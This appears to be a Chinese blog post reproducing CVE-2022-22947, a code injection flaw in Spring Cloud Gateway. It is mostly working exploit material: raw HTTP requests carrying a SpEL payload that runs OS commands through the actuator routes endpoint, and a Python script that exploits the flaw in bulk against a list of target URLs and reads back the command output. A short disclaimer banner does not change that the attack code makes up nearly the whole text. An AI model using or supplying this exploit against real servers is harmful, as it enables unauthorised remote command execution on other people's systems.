CVE-2022-22947-Spring Cloud Gateway代码注入漏洞复现-附批量POC

POST /actuator/gateway/routes/code HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{  "id": "chaosec",  "filters": [{    "name": "AddResponseHeader",    "args": {      "name": "Result",      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"    }  }],  "uri": "http://ggg.cpdd:80"}

POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

https://github.com/chaosec2021/CVE-2022-22947-POC/

import requestsimport urllib3import jsonimport reurllib3.disable_warnings()
cmd='whoami'a='''  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$  $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$  $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$   $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$   $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$    $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$     $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$                                                                    by 欢迎关注chaosec公众号 禁止一切违法！'''b ='python CVE-2022-22947_POC.py url.txt'uri_check='/actuator/gateway/routes/code'uri_refresh='/actuator/gateway/refresh'headers = {    'Accept-Encoding': 'gzip, deflate',    'Accept': '*/*',    'Accept-Language': 'en',    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',    'Content-Type': 'application/json'}
payload = {    "id": "code",    "filters": [{        "name": "AddResponseHeader",        "args": {            "name": "Result",            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("" + cmd +"").getInputStream()))}"        }    }],    "uri": "http://ggg.cpdd",    "order": 0}
#刷新路由def refresh(url):    try:        rf=url+uri_refresh        req_refresh =requests.post(url=rf,verify=False,timeout=1)        code_refresh=req_refresh.status_code        if code_refresh==200:            print('[+]刷新路由成功')        else:            print('[-]刷新路由失败')            # print(code_refresh)            # print(code_refresh)    except requests.exceptions.RequestException:        print('[-]刷新路由超时')    except:        print('[-]刷新路由异常')
def huixian(url):    try:        req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)        req_huixian_text=req_huixian.text        req_huixian_code =req_huixian.status_code        if req_huixian_code==200:            req_huixian_text = req_huixian_text.replace('{', '')            req_huixian_text = req_huixian_text.replace('}', '')            req_huixian_text = req_huixian_text.replace('[', '')            req_huixian_text = req_huixian_text.replace(']', '')            req_huixian_text = req_huixian_text.replace('"', '')            req_huixian_text = req_huixian_text.replace("'", '')            req_huixian_text = req_huixian_text.replace(" ", '')            req_huixian_text = req_huixian_text.replace("\n", '')            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?),')            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)            huixian =req_huixian_re_1[0]            print(f'[+]获取回显命令成功：{huixian}')            # print(req_huixian_text)        else:            print(url+uri_check)            # print(req_huixian_code)            print('[-]获取回显失败，请手动测试')    except requests.exceptions.RequestException:        print('[-]获取回显超时')    except:        print('[-]获取回显异常，请手动测试')
#删除命令注入def del_rce_in(url):    all=url+uri_check    try:        req =requests.delete(url=all,verify=False,timeout=2)        code = req.status_code        if code ==200:            print('[+]删除注入路由成功')        else:            print('[-]删除注入路由失败')    except requests.exceptions.RequestException:        print('[-]删除注入路由超时')    except:        print('[-]删除注入路由异常')
#批量检测漏洞def poc(txt):    f =open(txt)    f=f.readlines()    for url in f:        url =url.strip('n')        url =url.strip('/')        try:            all =url+uri_check            req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)            code =req.status_code            if code ==201:                # print(code)                print(f'[+]{url}疑似存在漏洞')                poc_file=open('success.txt','a+')                poc_file.write(url+'n')                poc_file.close()                refresh(url)                huixian(url)                del_rce_in(url)                refresh(url)                # refresh(url)            else:                print(f'[-]{url}不存在漏洞')        # continue        except requests.exceptions.RequestException:            time_poc=f'[-]{url}漏洞检测超时'            print(time_poc)            pass        except:            print(f'[-]{url}rce注入失败，请检查网站是否能访问')            continueif __name__ == '__main__' :    print(a)    poc('url.txt')